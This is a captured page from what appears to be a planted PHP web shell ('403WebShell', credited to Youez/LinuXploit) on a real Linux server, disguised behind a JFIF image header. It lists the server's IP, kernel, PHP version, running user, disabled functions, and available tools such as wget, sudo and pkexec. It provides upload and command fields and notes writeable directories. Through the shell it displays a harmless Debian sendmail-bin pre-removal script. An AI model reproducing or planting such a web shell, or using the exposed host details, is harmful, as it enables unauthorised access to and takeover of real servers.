????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info_silent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info_silent/sendmail-bin.prerm
#!/bin/sh -e
#
# Debian pre removal script
#
# Install of already installed package:
#	1) old-prerm upgrade new-version
#		*) new-prerm failed-upgrade old-version
#			*) old-postinst abort-upgrade new-version
#
# If a `conflicting' package is being removed at the same time:
#	1) forall packages depending on conflicting package and --auto-deconfigure
#		deconfigured's-prerm deconfigure \
#			in-favour package-being-installed version \
#			removing conflicting-package version
#		*) deconfigured's-postinst abort-deconfigure \
#				in-favour package-being-installed-but-failed version \
#				removing conflicting-package version
#	2) To prepare for removal of the conflicting package
#		conflictor's-prerm remove \
#			in-favour package new-version
#		*) conflictor's-postinst abort-remove \
#				in-favour package new-version
#
# Removal of a package:
#	1) prerm remove
#	2) The package's files are removed (except conffiles).
#	3) postrm remove
#	4) All the maintainer scripts except the postrm are removed.
#
set -e;

PACKAGE=sendmail-bin;

case "$1" in
	remove)
		if [ ! -z "$2" ]; then
			echo "Removing $PACKAGE $2 $3($4)";
			if [ "$PACKAGE" = 'sendmail' ] && [ "$3" = 'sendmail-tls' ] || \
				[ "$PACKAGE" = 'sendmail-tls' ] && [ "$3" = 'sendmail' ]; then
				echo '...Nothing to do...';
				exit 0;
				fi;
			fi;
		# Remove alternatives for MTA, MSP
		update-alternatives --remove sendmail-mta /usr/lib/sm.bin/sendmail;
		update-alternatives --remove sendmail-msp /usr/lib/sm.bin/sendmail;
		if [ -x /etc/init.d/sendmail ] && \
			[ -x /usr/share/sendmail/sendmail ]; then
			if [ -x /usr/sbin/invoke-rc.d ]; then
				/usr/sbin/invoke-rc.d --quiet --force sendmail stop;
			else
				/etc/init.d/sendmail stop;
				fi;
			fi;
		# Prevent cronjob from running during upgrade...
		if [ -f /etc/cron.d/sendmail ]; then
			rm -f /etc/cron.d/sendmail;
			fi;
		;;

	upgrade)
		# Prevent cronjob from running during upgrade...
		if [ -f /etc/cron.d/sendmail ]; then
			echo "#prerm" > /etc/cron.d/sendmail;
			fi;

		# NOTE  NOTE  NOTE  NOTE  NOTE
		# If we fall through to DEBHELPER, sendmail will be stopped
		# much earlier than necessary !!!
		exit 0;
		;;

	failed-upgrade)
		;;

	deconfigure)
		echo "Deconfigure of $PACKAGE $2 $3($4) $5 $6($7) ";
		;;

	*)
		echo "$PACKAGE prerm called with unknown argument \`$1'" >&2;
		exit 1;
		;;
	esac;

#
# Included for sanity checks
#
# Automatically added by dh_installinit
if [ -x "/etc/init.d/sendmail" ] || [ -e "/etc/init/sendmail.conf" ]; then
	invoke-rc.d sendmail stop || exit $?
fi
# End automatically added section

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit